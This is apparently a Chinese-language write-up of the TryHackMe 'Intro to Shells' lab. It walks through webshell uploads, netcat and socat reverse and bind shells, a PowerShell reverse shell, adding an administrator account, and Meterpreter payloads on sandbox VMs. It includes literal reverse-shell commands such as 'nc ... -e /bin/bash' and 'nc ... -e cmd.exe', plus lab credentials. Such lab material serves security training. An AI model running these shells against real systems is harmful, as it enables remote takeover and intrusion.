What the shell?(Shell简介-下)
本文相关内容:关于反向/绑定shell的练习示例。
TryHackMe实验房间链接:https://tryhackme.com/room/introtoshells
实践与案例
提示
这个章节包含了大量的信息,并且几乎没有机会让你始终将其付诸实践。
接下来的实践与案例将包含两个虚拟机(一个 Ubuntu 18.04 服务器和一个 Windows 服务器),每个都配置有一个简单的网络服务器,请使用它上传和激活 shell。
在这个案例中提供的是一个沙盒环境,所以没有过滤器需要进行绕过,你可以选择登录以使用 netcat、socat 或meterpreter shell 进行练习,提供登录凭据和说明,同时还会给出一些shell示例。
Linux Practice Box
目标机器是一个 Ubuntu 服务器,它有一个文件上传页面,运行在一个网络服务器上,这可以用于在 Linux 系统上实践shell上传。socat 和 netcat 都安装在这台机器上,所以请随意通过端口22上的 SSH 尝试登录,直接使用它们进行练习。登录的凭据如下:
Username: shell
Password: TryH4ckM3!
Windows Practice Box
目标机器是运行 XAMPP 网络服务器的 Windows 2019 Server,可用于在 Windows 上练习shell上传。Socat 和 Netcat 都已安装,可以通过 RDP 或 WinRM 登录进行练习。登录的凭据如下:
Username: Administrator
Password: TryH4ckM3!
使用 RDP 登录:
xfreerdp /dynamic-resolution +clipboard /cert:ignore /v:MACHINE_IP /u:Administrator /p:'TryH4ckM3!'
实践
操作一
要求:尝试将 webshell 上传到 Linux 机器,然后使用命令: nc <LOCAL-IP> <PORT> -e /bin/bash
回连到攻击机上正在等待的监听器。
准备webshell文件:
在攻击机上打开Netcat监听器:
上传webshell到目标站点,并在目标站点webshell页面的url栏中执行回连netcat监听器的命令:
成功建立反向shell:
操作二
要求:使用kali中的/usr/share/webshell/php/php-verse-shell.php,更改 IP 和端口,使其与自定义端口匹配。设置一个 netcat 监听器,然后上传并激活 shell。
准备好php-verse-shell.php文件:
在攻击机上设置netcat监听器,上传反向shell文件,建立反向shell:
操作三
要求:使用提示给的凭据通过 SSH 登录到目标Linux 机器,使用netcat尝试建立绑定和反向 netcat shell。
使用ssh登录目标机器
Username: shell
Password: TryH4ckM3!
使用netcat建立绑定shell,使用ssh界面设置监听器(远程为目标机设置监听器),在攻击机上发出shell连接(此处使用创建命令管道的技巧):
使用netcat建立反向shell,在攻击机上设置监听器,使用ssh界面远程操作目标机发出shell连接(此处使用创建命令管道的技巧):
操作四
要求:针对Windows VM目标机器,尝试向Windows目标机(先访问上传页面)上传并激活php反向shell,这个反向shell文件能正常工作吗?
结果:不能(观察下图中的ERROR信息)
操作五
要求:针对Windows 目标的网站站点上传一个 webshell,并尝试使用Powershell 获得一个反向 shell。
准备一个webshell文件(文件内容和前面一样):
在攻击机上设置监听器,访问目标站点的webshell.php页面并在其url地址栏中添加?cmd= 然后输入以下powershell命令(设置参数为攻击机的ip和端口):
成功建立反向shell:
操作六
要求:网络服务器正在使用 SYSTEM特权运行,现在请创建一个新用户并将其添加到“管理员”组,然后通过 RDP 或 WinRM 实现用户登录。
添加新用户及将其添加到管理员组(利用上一个操作中获取的shell):
通过RDP实现新用户的登录(在攻击机上开一个终端执行命令):
操作七
要求:尝试使用 socat 和 netcat 在 Windows 目标上获得反向和绑定 shell。
目标机ip:10.10.98.5
攻击机ip:10.10.44.92
Netcat反向shell
在攻击者终端:
然后使用 RDP 登录到目标的管理员账户,并在 cmd 上输入以下内容:nc 10.10.44.92 12345 -e"cmd.exe"
成功建立netcat反向shell:
Netcat绑定shell
现在正好相反,在cmd上启动一个 netcat 监听器:
在攻击者的电脑上运行以下命令:
成功建立netcat绑定shell:
Socat反向shell
在攻击者的终端上设置socat监听器(注意:socat监听器在执行监听时没有提示语):
然后在目标机器的 cmd 中运行以下命令:
成功建立socat反向shell:
Socat绑定shell
现在我们在目标机器的 cmd 上启动一个监听器(注意:socat监听器在执行监听时没有提示语):
然后在攻击者的电脑上:
成功建立socat绑定shell:
操作八
要求:使用msfvenom生成一个64位 Windows系统的 Meterpreter shell,上传这个shell(可执行文件格式)到 Windows目标机器,然后在Windows目标机器上手动激活已上传的shell文件,并且在攻击机上使用multi/handler模块来捕获Meterpreter shell会话,试验一下这个shell的特性。
目标机ip:10.10.98.5
攻击机ip:10.10.44.92
使用 msfvenom创建payload(包括 shell)的语法如下:
为了生成 exe 格式的 Windows x64 Meterpreter Shell,我们将在攻击机上使用以下命令:
现在我们需要在攻击机上使用来自 Metasploit 的 multi/handler 模块,然后在目标机器内运行 shell.exe 文件。
在攻击机上执行以下操作来设置 multi/handler:
使用 msfconsole 命令打开 Metasploit
输入命令: use multi/handler
通过输入 show options 命令来查看不同的选项
设置PAYLOAD参数 (set payload windows/x64/meterpreter/reverse_tcp), LHOST参数 (attacker ip) 以及LPORT参数
使用exploit 或者 run 命令执行
然后在目标机器上调用shell.exe文件(因为之前使用RDP登录目标机器时开启了剪切板功能,所以直接将shell.exe复制到目标机器上即可)
在攻击机界面获得一个Meterpreter shell:
操作九
要求:为任一目标创建分段和不分段的 meterpreter shell,上传exe文件并手动激活它,使用netcat捕获shell——这个shell能正常工作吗?
结果:不能,我们需要使用msf里面的multi/handler模块捕获meterpreter shell,用netcat并不能使这个shell正常工作。
最后更新于